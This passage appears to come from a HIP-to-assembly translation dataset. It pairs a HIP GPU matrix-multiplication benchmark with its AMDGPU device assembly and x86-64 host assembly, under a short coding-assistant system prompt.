hipMalloc((void **) &A_d, mem_size);
hipMemcpy(A_d, A, mem_size, hipMemcpyHostToDevice);
hipMalloc((void **) &B_d, mem_size);
hipMemcpy(B_d, B, mem_size, hipMemcpyHostToDevice);
hipMalloc((void **) &C_d, mem_size);
for (int i = 0; i < size / SUBSIZE; i++)
{
for (int j = 0; j < size / SUBSIZE; j++)
cudaMatMul<<<dimGrid, dimBlock>>>(A_d, B_d, C_d, i, j, SUBSIZE, size);
}
hipMemcpy(C, C_d, mem_size, hipMemcpyDeviceToHost);
hipFree(A_d);
hipFree(B_d);
hipFree(C_d);
}
void serial_mmul(float *matrixA, float *matrixB, float *matrixC)
{
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
{
matrixC[i * size + j] = 0.0;
for (int k = 0; k < size; k++)
matrixC[i * size + j] += matrixA[i * size + k] * matrixB[k * size + j];
}
}
}
int main(int argc, char **argv, char **envp)
{
int opt;
struct timespec tstart, tend;
while ((opt = getopt(argc, argv, "n:p:")) != -1)
{
switch (opt)
{
case 'n':
size = atoi(optarg);
break;
case '?':
printf("Usage: %s -n N\n", argv[0]);
exit(0);
}
}
if (size <= 0)
{
printf("Usage: %s -n N\n", argv[0]);
exit(0);
}
matrixA = make_matrix(size);
matrixB = make_matrix(size);
matrixC_serial = make_matrix(size);
matrixC_cuda = make_matrix(size);
srand48(time(NULL));
set_matrix(matrixA, size);
set_matrix(matrixB, size);
printf("Multi Thread Computation Start\n");
if (clock_gettime(CLOCK_MONOTONIC, &tstart) == -1)
{
perror("clock_gettime");
exit(0);
}
cuda_mmul(matrixA, matrixB, matrixC_cuda, size);
if (clock_gettime(CLOCK_MONOTONIC, &tend) == -1)
{
perror("clock_gettime");
exit(0);
}
long start_nsec = tstart.tv_sec * NANO + tstart.tv_nsec;
long end_nsec = tend.tv_sec * NANO + tend.tv_nsec;
double microsec = (end_nsec - start_nsec) / 1000.0;
printf("Multi Thread Computation End: %.3f us.\n", microsec);
printf("Single Thread Computation Start\n");
if (clock_gettime(CLOCK_MONOTONIC, &tstart) == -1)
{
perror("clock_gettime");
exit(0);
}
serial_mmul(matrixA, matrixB, matrixC_serial);
if (clock_gettime(CLOCK_MONOTONIC, &tend) == -1)
{
perror("clock_gettime");
exit(0);
}
start_nsec = tstart.tv_sec * NANO + tstart.tv_nsec;
end_nsec = tend.tv_sec * NANO + tend.tv_nsec;
microsec = (end_nsec - start_nsec) / 1000.0;
printf("Single Thread Computation End: %.3f us.\n", microsec);
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
{
if (fabs(matrixC_cuda[i * size + j] - matrixC_serial[i * size + j]) > 1e-3)
{
printf("Verification Fail.\n");
printf("(%d, %d): %f - %f\n", i, j, matrixC_cuda[i * size + j], matrixC_serial[i * size + j]);
}
}
}
printf("Verification Success.\n");
// print_matrix(matrixA, size);
// print_matrix(matrixB, size);
// print_matrix(matrixC, size);
return 0;
} | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z10cudaMatMulPfS_S_iiii
.globl _Z10cudaMatMulPfS_S_iiii
.p2align 8
.type _Z10cudaMatMulPfS_S_iiii,@function
_Z10cudaMatMulPfS_S_iiii:
s_clause 0x2
s_load_b32 s5, s[0:1], 0x34
s_load_b32 s6, s[0:1], 0x18
s_load_b32 s4, s[0:1], 0x20
s_add_u32 s2, s0, 40
v_and_b32_e32 v1, 0x3ff, v0
s_addc_u32 s3, s1, 0
s_waitcnt lgkmcnt(0)
s_and_b32 s5, s5, 0xffff
s_mul_i32 s7, s4, s6
s_mul_i32 s14, s14, s5
s_add_i32 s5, s6, 1
v_add3_u32 v5, s14, s7, v1
s_mul_i32 s5, s5, s4
s_delay_alu instid0(VALU_DEP_1) | instid1(SALU_CYCLE_1)
v_cmp_gt_i32_e32 vcc_lo, s5, v5
s_and_saveexec_b32 s5, vcc_lo
s_cbranch_execz .LBB0_7
s_load_b32 s2, s[2:3], 0xc
s_load_b32 s3, s[0:1], 0x1c
v_bfe_u32 v0, v0, 10, 10
s_waitcnt lgkmcnt(0)
s_lshr_b32 s2, s2, 16
s_mul_i32 s5, s4, s3
s_mul_i32 s15, s15, s2
s_add_i32 s2, s3, 1
v_add3_u32 v0, s15, s5, v0
s_mul_i32 s2, s2, s4
s_delay_alu instid0(VALU_DEP_1) | instid1(SALU_CYCLE_1)
v_cmp_gt_i32_e32 vcc_lo, s2, v0
s_and_b32 exec_lo, exec_lo, vcc_lo
s_cbranch_execz .LBB0_7
s_load_b32 s2, s[0:1], 0x24
s_waitcnt lgkmcnt(0)
s_cmp_lt_i32 s2, 1
s_cbranch_scc1 .LBB0_5
s_load_b128 s[4:7], s[0:1], 0x0
v_mul_lo_u32 v1, v5, s2
v_dual_mov_b32 v6, 0 :: v_dual_mov_b32 v3, v0
s_mov_b32 s3, s2
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_ashrrev_i32_e32 v2, 31, v1
v_lshlrev_b64 v[1:2], 2, v[1:2]
s_waitcnt lgkmcnt(0)
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_2)
v_add_co_u32 v1, vcc_lo, s4, v1
v_add_co_ci_u32_e32 v2, vcc_lo, s5, v2, vcc_lo
.p2align 6
.LBB0_4:
v_ashrrev_i32_e32 v4, 31, v3
s_add_i32 s3, s3, -1
s_delay_alu instid0(SALU_CYCLE_1) | instskip(NEXT) | instid1(VALU_DEP_1)
s_cmp_eq_u32 s3, 0
v_lshlrev_b64 v[7:8], 2, v[3:4]
v_add_nc_u32_e32 v3, s2, v3
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_3)
v_add_co_u32 v7, vcc_lo, s6, v7
v_add_co_ci_u32_e32 v8, vcc_lo, s7, v8, vcc_lo
global_load_b32 v4, v[1:2], off
global_load_b32 v7, v[7:8], off
v_add_co_u32 v1, vcc_lo, v1, 4
v_add_co_ci_u32_e32 v2, vcc_lo, 0, v2, vcc_lo
s_waitcnt vmcnt(0)
v_fmac_f32_e32 v6, v4, v7
s_cbranch_scc0 .LBB0_4
s_branch .LBB0_6
.LBB0_5:
v_mov_b32_e32 v6, 0
.LBB0_6:
s_load_b64 s[0:1], s[0:1], 0x10
v_mad_u64_u32 v[1:2], null, v5, s2, v[0:1]
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_ashrrev_i32_e32 v2, 31, v1
v_lshlrev_b64 v[0:1], 2, v[1:2]
s_waitcnt lgkmcnt(0)
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_2)
v_add_co_u32 v0, vcc_lo, s0, v0
v_add_co_ci_u32_e32 v1, vcc_lo, s1, v1, vcc_lo
global_store_b32 v[0:1], v6, off
.LBB0_7:
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z10cudaMatMulPfS_S_iiii
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 296
.amdhsa_user_sgpr_count 14
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 1
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 1
.amdhsa_next_free_vgpr 9
.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z10cudaMatMulPfS_S_iiii, .Lfunc_end0-_Z10cudaMatMulPfS_S_iiii
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 8
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 16
.size: 8
.value_kind: global_buffer
- .offset: 24
.size: 4
.value_kind: by_value
- .offset: 28
.size: 4
.value_kind: by_value
- .offset: 32
.size: 4
.value_kind: by_value
- .offset: 36
.size: 4
.value_kind: by_value
- .offset: 40
.size: 4
.value_kind: hidden_block_count_x
- .offset: 44
.size: 4
.value_kind: hidden_block_count_y
- .offset: 48
.size: 4
.value_kind: hidden_block_count_z
- .offset: 52
.size: 2
.value_kind: hidden_group_size_x
- .offset: 54
.size: 2
.value_kind: hidden_group_size_y
- .offset: 56
.size: 2
.value_kind: hidden_group_size_z
- .offset: 58
.size: 2
.value_kind: hidden_remainder_x
- .offset: 60
.size: 2
.value_kind: hidden_remainder_y
- .offset: 62
.size: 2
.value_kind: hidden_remainder_z
- .offset: 80
.size: 8
.value_kind: hidden_global_offset_x
- .offset: 88
.size: 8
.value_kind: hidden_global_offset_y
- .offset: 96
.size: 8
.value_kind: hidden_global_offset_z
- .offset: 104
.size: 2
.value_kind: hidden_grid_dims
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 296
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z10cudaMatMulPfS_S_iiii
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _Z10cudaMatMulPfS_S_iiii.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 9
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting HIP source code to AMD host assembly. | #include <hip/hip_runtime.h>
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#define NANO 1000000000
#define PGSIZE 0x1000
#define SUBSIZE 1000
#define BLOCK 8
#define GRID 128
int size;
float *matrixA, *matrixB, *matrixBT, *matrixC_serial, *matrixC_cuda;
__global__
void cudaMatMul(float *A_d, float *B_d, float *C_d, int x, int y, int n, int size)
{
int i = n * x + blockIdx.x * blockDim.x + threadIdx.x;
int j = n * y + blockIdx.y * blockDim.y + threadIdx.y;
float value = 0.0;
if (i >= n * (x + 1) || j >= n * (y + 1))
return;
for (int k = 0; k < size; k++)
value += A_d[i * size + k] * B_d[k * size + j];
C_d[i * size + j] = value;
return;
}
float *make_matrix(int size)
{
float *matrix = (float *) malloc(sizeof(float) * size * size);
if (matrix == NULL)
{
perror("malloc");
exit(0);
}
if (malloc(PGSIZE) == NULL)
{
perror("malloc");
exit(0);
}
return matrix;
}
void set_matrix(float *matrix, int size)
{
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
matrix[i * size + j] = (float) drand48();
}
}
void print_matrix(double *matrix, int size)
{
printf("[");
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
printf(" %f", matrix[i * size + j]);
printf(";");
}
printf(" ]\n");
}
void cuda_mmul(float *A, float *B, float *C, int size)
{
int mem_size = sizeof(float) * size * size;
float *A_d, *B_d, *C_d;
dim3 dimBlock(BLOCK, BLOCK);
dim3 dimGrid(GRID, GRID);
hipMalloc((void **) &A_d, mem_size);
hipMemcpy(A_d, A, mem_size, hipMemcpyHostToDevice);
hipMalloc((void **) &B_d, mem_size);
hipMemcpy(B_d, B, mem_size, hipMemcpyHostToDevice);
hipMalloc((void **) &C_d, mem_size);
for (int i = 0; i < size / SUBSIZE; i++)
{
for (int j = 0; j < size / SUBSIZE; j++)
cudaMatMul<<<dimGrid, dimBlock>>>(A_d, B_d, C_d, i, j, SUBSIZE, size);
}
hipMemcpy(C, C_d, mem_size, hipMemcpyDeviceToHost);
hipFree(A_d);
hipFree(B_d);
hipFree(C_d);
}
void serial_mmul(float *matrixA, float *matrixB, float *matrixC)
{
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
{
matrixC[i * size + j] = 0.0;
for (int k = 0; k < size; k++)
matrixC[i * size + j] += matrixA[i * size + k] * matrixB[k * size + j];
}
}
}
int main(int argc, char **argv, char **envp)
{
int opt;
struct timespec tstart, tend;
while ((opt = getopt(argc, argv, "n:p:")) != -1)
{
switch (opt)
{
case 'n':
size = atoi(optarg);
break;
case '?':
printf("Usage: %s -n N\n", argv[0]);
exit(0);
}
}
if (size <= 0)
{
printf("Usage: %s -n N\n", argv[0]);
exit(0);
}
matrixA = make_matrix(size);
matrixB = make_matrix(size);
matrixC_serial = make_matrix(size);
matrixC_cuda = make_matrix(size);
srand48(time(NULL));
set_matrix(matrixA, size);
set_matrix(matrixB, size);
printf("Multi Thread Computation Start\n");
if (clock_gettime(CLOCK_MONOTONIC, &tstart) == -1)
{
perror("clock_gettime");
exit(0);
}
cuda_mmul(matrixA, matrixB, matrixC_cuda, size);
if (clock_gettime(CLOCK_MONOTONIC, &tend) == -1)
{
perror("clock_gettime");
exit(0);
}
long start_nsec = tstart.tv_sec * NANO + tstart.tv_nsec;
long end_nsec = tend.tv_sec * NANO + tend.tv_nsec;
double microsec = (end_nsec - start_nsec) / 1000.0;
printf("Multi Thread Computation End: %.3f us.\n", microsec);
printf("Single Thread Computation Start\n");
if (clock_gettime(CLOCK_MONOTONIC, &tstart) == -1)
{
perror("clock_gettime");
exit(0);
}
serial_mmul(matrixA, matrixB, matrixC_serial);
if (clock_gettime(CLOCK_MONOTONIC, &tend) == -1)
{
perror("clock_gettime");
exit(0);
}
start_nsec = tstart.tv_sec * NANO + tstart.tv_nsec;
end_nsec = tend.tv_sec * NANO + tend.tv_nsec;
microsec = (end_nsec - start_nsec) / 1000.0;
printf("Single Thread Computation End: %.3f us.\n", microsec);
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
{
if (fabs(matrixC_cuda[i * size + j] - matrixC_serial[i * size + j]) > 1e-3)
{
printf("Verification Fail.\n");
printf("(%d, %d): %f - %f\n", i, j, matrixC_cuda[i * size + j], matrixC_serial[i * size + j]);
}
}
}
printf("Verification Success.\n");
// print_matrix(matrixA, size);
// print_matrix(matrixB, size);
// print_matrix(matrixC, size);
return 0;
} | .text
.file "prob1.hip"
.globl _Z25__device_stub__cudaMatMulPfS_S_iiii # -- Begin function _Z25__device_stub__cudaMatMulPfS_S_iiii
.p2align 4, 0x90
.type _Z25__device_stub__cudaMatMulPfS_S_iiii,@function
_Z25__device_stub__cudaMatMulPfS_S_iiii: # @_Z25__device_stub__cudaMatMulPfS_S_iiii
.cfi_startproc
# %bb.0:
subq $152, %rsp
.cfi_def_cfa_offset 160
movq %rdi, 88(%rsp)
movq %rsi, 80(%rsp)
movq %rdx, 72(%rsp)
movl %ecx, 20(%rsp)
movl %r8d, 16(%rsp)
movl %r9d, 12(%rsp)
leaq 88(%rsp), %rax
movq %rax, 96(%rsp)
leaq 80(%rsp), %rax
movq %rax, 104(%rsp)
leaq 72(%rsp), %rax
movq %rax, 112(%rsp)
leaq 20(%rsp), %rax
movq %rax, 120(%rsp)
leaq 16(%rsp), %rax
movq %rax, 128(%rsp)
leaq 12(%rsp), %rax
movq %rax, 136(%rsp)
leaq 160(%rsp), %rax
movq %rax, 144(%rsp)
leaq 56(%rsp), %rdi
leaq 40(%rsp), %rsi
leaq 32(%rsp), %rdx
leaq 24(%rsp), %rcx
callq __hipPopCallConfiguration
movq 56(%rsp), %rsi
movl 64(%rsp), %edx
movq 40(%rsp), %rcx
movl 48(%rsp), %r8d
leaq 96(%rsp), %r9
movl $_Z10cudaMatMulPfS_S_iiii, %edi
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
pushq 40(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $168, %rsp
.cfi_adjust_cfa_offset -168
retq
.Lfunc_end0:
.size _Z25__device_stub__cudaMatMulPfS_S_iiii, .Lfunc_end0-_Z25__device_stub__cudaMatMulPfS_S_iiii
.cfi_endproc
# -- End function
.globl _Z11make_matrixi # -- Begin function _Z11make_matrixi
.p2align 4, 0x90
.type _Z11make_matrixi,@function
_Z11make_matrixi: # @_Z11make_matrixi
.cfi_startproc
# %bb.0:
pushq %rax
.cfi_def_cfa_offset 16
movslq %edi, %rdi
imulq %rdi, %rdi
shlq $2, %rdi
callq malloc
testq %rax, %rax
je .LBB1_2
# %bb.1:
popq %rcx
.cfi_def_cfa_offset 8
retq
.LBB1_2:
.cfi_def_cfa_offset 16
movl $.L.str, %edi
callq perror
xorl %edi, %edi
callq exit
.Lfunc_end1:
.size _Z11make_matrixi, .Lfunc_end1-_Z11make_matrixi
.cfi_endproc
# -- End function
.globl _Z10set_matrixPfi # -- Begin function _Z10set_matrixPfi
.p2align 4, 0x90
.type _Z10set_matrixPfi,@function
_Z10set_matrixPfi: # @_Z10set_matrixPfi
.cfi_startproc
# %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
pushq %r15
.cfi_def_cfa_offset 24
pushq %r14
.cfi_def_cfa_offset 32
pushq %r13
.cfi_def_cfa_offset 40
pushq %r12
.cfi_def_cfa_offset 48
pushq %rbx
.cfi_def_cfa_offset 56
pushq %rax
.cfi_def_cfa_offset 64
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
.cfi_offset %rbp, -16
movq %rdi, (%rsp) # 8-byte Spill
testl %esi, %esi
jle .LBB2_5
# %bb.1: # %.preheader.lr.ph
movl %esi, %ebx
movl %esi, %r15d
xorl %r12d, %r12d
xorl %r13d, %r13d
.p2align 4, 0x90
.LBB2_2: # %.preheader
# =>This Loop Header: Depth=1
# Child Loop BB2_3 Depth 2
movl %r12d, %eax
movq (%rsp), %rcx # 8-byte Reload
leaq (%rcx,%rax,4), %rbp
xorl %r14d, %r14d
.p2align 4, 0x90
.LBB2_3: # Parent Loop BB2_2 Depth=1
# => This Inner Loop Header: Depth=2
callq drand48
cvtsd2ss %xmm0, %xmm0
movss %xmm0, (%rbp,%r14,4)
incq %r14
cmpq %r14, %r15
jne .LBB2_3
# %bb.4: # %._crit_edge
# in Loop: Header=BB2_2 Depth=1
incq %r13
addl %ebx, %r12d
cmpq %r15, %r13
jne .LBB2_2
.LBB2_5: # %._crit_edge13
addq $8, %rsp
.cfi_def_cfa_offset 56
popq %rbx
.cfi_def_cfa_offset 48
popq %r12
.cfi_def_cfa_offset 40
popq %r13
.cfi_def_cfa_offset 32
popq %r14
.cfi_def_cfa_offset 24
popq %r15
.cfi_def_cfa_offset 16
popq %rbp
.cfi_def_cfa_offset 8
retq
.Lfunc_end2:
.size _Z10set_matrixPfi, .Lfunc_end2-_Z10set_matrixPfi
.cfi_endproc
# -- End function
.globl _Z12print_matrixPdi # -- Begin function _Z12print_matrixPdi
.p2align 4, 0x90
.type _Z12print_matrixPdi,@function
_Z12print_matrixPdi: # @_Z12print_matrixPdi
.cfi_startproc
# %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
pushq %r15
.cfi_def_cfa_offset 24
pushq %r14
.cfi_def_cfa_offset 32
pushq %r13
.cfi_def_cfa_offset 40
pushq %r12
.cfi_def_cfa_offset 48
pushq %rbx
.cfi_def_cfa_offset 56
pushq %rax
.cfi_def_cfa_offset 64
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
.cfi_offset %rbp, -16
movl %esi, %ebx
movq %rdi, (%rsp) # 8-byte Spill
movl $91, %edi
callq putchar@PLT
testl %ebx, %ebx
jle .LBB3_5
# %bb.1: # %.preheader.lr.ph
movl %ebx, %r15d
xorl %r12d, %r12d
xorl %r13d, %r13d
.p2align 4, 0x90
.LBB3_2: # %.preheader
# =>This Loop Header: Depth=1
# Child Loop BB3_3 Depth 2
movl %r12d, %eax
movq (%rsp), %rcx # 8-byte Reload
leaq (%rcx,%rax,8), %rbp
xorl %r14d, %r14d
.p2align 4, 0x90
.LBB3_3: # Parent Loop BB3_2 Depth=1
# => This Inner Loop Header: Depth=2
movsd (%rbp,%r14,8), %xmm0 # xmm0 = mem[0],zero
movl $.L.str.2, %edi
movb $1, %al
callq printf
incq %r14
cmpq %r14, %r15
jne .LBB3_3
# %bb.4: # %._crit_edge
# in Loop: Header=BB3_2 Depth=1
movl $59, %edi
callq putchar@PLT
incq %r13
addl %ebx, %r12d
cmpq %r15, %r13
jne .LBB3_2
.LBB3_5: # %._crit_edge14
movl $.Lstr, %edi
addq $8, %rsp
.cfi_def_cfa_offset 56
popq %rbx
.cfi_def_cfa_offset 48
popq %r12
.cfi_def_cfa_offset 40
popq %r13
.cfi_def_cfa_offset 32
popq %r14
.cfi_def_cfa_offset 24
popq %r15
.cfi_def_cfa_offset 16
popq %rbp
.cfi_def_cfa_offset 8
jmp puts@PLT # TAILCALL
.Lfunc_end3:
.size _Z12print_matrixPdi, .Lfunc_end3-_Z12print_matrixPdi
.cfi_endproc
# -- End function
.globl _Z9cuda_mmulPfS_S_i # -- Begin function _Z9cuda_mmulPfS_S_i
.p2align 4, 0x90
.type _Z9cuda_mmulPfS_S_i,@function
_Z9cuda_mmulPfS_S_i: # @_Z9cuda_mmulPfS_S_i
.cfi_startproc
# %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
pushq %r15
.cfi_def_cfa_offset 24
pushq %r14
.cfi_def_cfa_offset 32
pushq %r13
.cfi_def_cfa_offset 40
pushq %r12
.cfi_def_cfa_offset 48
pushq %rbx
.cfi_def_cfa_offset 56
subq $184, %rsp
.cfi_def_cfa_offset 240
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
.cfi_offset %rbp, -16
movl %ecx, %ebp
movq %rdx, 48(%rsp) # 8-byte Spill
movq %rsi, %rbx
movq %rdi, %r14
movl %ecx, %eax
imull %ecx, %eax
shll $2, %eax
movslq %eax, %r15
leaq 16(%rsp), %rdi
movq %r15, %rsi
callq hipMalloc
movq 16(%rsp), %rdi
movq %r14, %rsi
movq %r15, %rdx
movl $1, %ecx
callq hipMemcpy
leaq 8(%rsp), %rdi
movq %r15, %rsi
callq hipMalloc
movq 8(%rsp), %rdi
movq %rbx, %rsi
movq %r15, %rdx
movl $1, %ecx
callq hipMemcpy
movq %rsp, %rdi
movq %r15, 40(%rsp) # 8-byte Spill
movq %r15, %rsi
callq hipMalloc
cmpl $1000, %ebp # imm = 0x3E8
jl .LBB4_7
# %bb.1: # %.preheader.lr.ph
movslq %ebp, %rax
imulq $274877907, %rax, %r14 # imm = 0x10624DD3
movq %r14, %rax
shrq $63, %rax
sarq $38, %r14
addl %eax, %r14d
xorl %r13d, %r13d
movabsq $549755814016, %r15 # imm = 0x8000000080
movabsq $34359738376, %r12 # imm = 0x800000008
jmp .LBB4_2
.p2align 4, 0x90
.LBB4_6: # %._crit_edge
# in Loop: Header=BB4_2 Depth=1
incl %r13d
cmpl %r14d, %r13d
je .LBB4_7
.LBB4_2: # %.preheader
# =>This Loop Header: Depth=1
# Child Loop BB4_3 Depth 2
xorl %ebx, %ebx
jmp .LBB4_3
.p2align 4, 0x90
.LBB4_5: # in Loop: Header=BB4_3 Depth=2
incl %ebx
cmpl %ebx, %r14d
je .LBB4_6
.LBB4_3: # %.lr.ph
# Parent Loop BB4_2 Depth=1
# => This Inner Loop Header: Depth=2
movq %r15, %rdi
movl $1, %esi
movq %r12, %rdx
movl $1, %ecx
xorl %r8d, %r8d
xorl %r9d, %r9d
callq __hipPushCallConfiguration
testl %eax, %eax
jne .LBB4_5
# %bb.4: # in Loop: Header=BB4_3 Depth=2
movq 16(%rsp), %rax
movq 8(%rsp), %rcx
movq (%rsp), %rdx
movq %rax, 120(%rsp)
movq %rcx, 112(%rsp)
movq %rdx, 104(%rsp)
movl %r13d, 36(%rsp)
movl %ebx, 32(%rsp)
movl $1000, 28(%rsp) # imm = 0x3E8
movl %ebp, 24(%rsp)
leaq 120(%rsp), %rax
movq %rax, 128(%rsp)
leaq 112(%rsp), %rax
movq %rax, 136(%rsp)
leaq 104(%rsp), %rax
movq %rax, 144(%rsp)
leaq 36(%rsp), %rax
movq %rax, 152(%rsp)
leaq 32(%rsp), %rax
movq %rax, 160(%rsp)
leaq 28(%rsp), %rax
movq %rax, 168(%rsp)
leaq 24(%rsp), %rax
movq %rax, 176(%rsp)
leaq 88(%rsp), %rdi
leaq 72(%rsp), %rsi
leaq 64(%rsp), %rdx
leaq 56(%rsp), %rcx
callq __hipPopCallConfiguration
movq 88(%rsp), %rsi
movl 96(%rsp), %edx
movq 72(%rsp), %rcx
movl 80(%rsp), %r8d
movl $_Z10cudaMatMulPfS_S_iiii, %edi
leaq 128(%rsp), %r9
pushq 56(%rsp)
.cfi_adjust_cfa_offset 8
pushq 72(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $16, %rsp
.cfi_adjust_cfa_offset -16
jmp .LBB4_5
.LBB4_7: # %._crit_edge31
movq (%rsp), %rsi
movq 48(%rsp), %rdi # 8-byte Reload
movq 40(%rsp), %rdx # 8-byte Reload
movl $2, %ecx
callq hipMemcpy
movq 16(%rsp), %rdi
callq hipFree
movq 8(%rsp), %rdi
callq hipFree
movq (%rsp), %rdi
callq hipFree
addq $184, %rsp
.cfi_def_cfa_offset 56
popq %rbx
.cfi_def_cfa_offset 48
popq %r12
.cfi_def_cfa_offset 40
popq %r13
.cfi_def_cfa_offset 32
popq %r14
.cfi_def_cfa_offset 24
popq %r15
.cfi_def_cfa_offset 16
popq %rbp
.cfi_def_cfa_offset 8
retq
.Lfunc_end4:
.size _Z9cuda_mmulPfS_S_i, .Lfunc_end4-_Z9cuda_mmulPfS_S_i
.cfi_endproc
# -- End function
.globl _Z11serial_mmulPfS_S_ # -- Begin function _Z11serial_mmulPfS_S_
.p2align 4, 0x90
.type _Z11serial_mmulPfS_S_,@function
_Z11serial_mmulPfS_S_: # @_Z11serial_mmulPfS_S_
.cfi_startproc
# %bb.0:
movl size(%rip), %eax
testl %eax, %eax
jle .LBB5_8
# %bb.1: # %.preheader.lr.ph
pushq %r15
.cfi_def_cfa_offset 16
pushq %r14
.cfi_def_cfa_offset 24
pushq %r12
.cfi_def_cfa_offset 32
pushq %rbx
.cfi_def_cfa_offset 40
.cfi_offset %rbx, -40
.cfi_offset %r12, -32
.cfi_offset %r14, -24
.cfi_offset %r15, -16
leaq (,%rax,4), %rcx
xorl %r8d, %r8d
xorl %r9d, %r9d
.p2align 4, 0x90
.LBB5_2: # %.preheader
# =>This Loop Header: Depth=1
# Child Loop BB5_3 Depth 2
# Child Loop BB5_4 Depth 3
movl %r8d, %r10d
leaq (%rdi,%r10,4), %r10
movq %r9, %r11
imulq %rax, %r11
leaq (%rdx,%r11,4), %r11
movq %rsi, %rbx
xorl %r14d, %r14d
.p2align 4, 0x90
.LBB5_3: # %.lr.ph
# Parent Loop BB5_2 Depth=1
# => This Loop Header: Depth=2
# Child Loop BB5_4 Depth 3
movl $0, (%r11,%r14,4)
xorps %xmm0, %xmm0
movq %rbx, %r15
xorl %r12d, %r12d
.p2align 4, 0x90
.LBB5_4: # Parent Loop BB5_2 Depth=1
# Parent Loop BB5_3 Depth=2
# => This Inner Loop Header: Depth=3
movss (%r10,%r12,4), %xmm1 # xmm1 = mem[0],zero,zero,zero
mulss (%r15), %xmm1
addss %xmm1, %xmm0
movss %xmm0, (%r11,%r14,4)
incq %r12
addq %rcx, %r15
cmpq %r12, %rax
jne .LBB5_4
# %bb.5: # %._crit_edge
# in Loop: Header=BB5_3 Depth=2
incq %r14
addq $4, %rbx
cmpq %rax, %r14
jne .LBB5_3
# %bb.6: # %._crit_edge24
# in Loop: Header=BB5_2 Depth=1
incq %r9
addl %eax, %r8d
cmpq %rax, %r9
jne .LBB5_2
# %bb.7:
popq %rbx
.cfi_def_cfa_offset 32
popq %r12
.cfi_def_cfa_offset 24
popq %r14
.cfi_def_cfa_offset 16
popq %r15
.cfi_def_cfa_offset 8
.cfi_restore %rbx
.cfi_restore %r12
.cfi_restore %r14
.cfi_restore %r15
.LBB5_8: # %._crit_edge26
retq
.Lfunc_end5:
.size _Z11serial_mmulPfS_S_, .Lfunc_end5-_Z11serial_mmulPfS_S_
.cfi_endproc
# -- End function
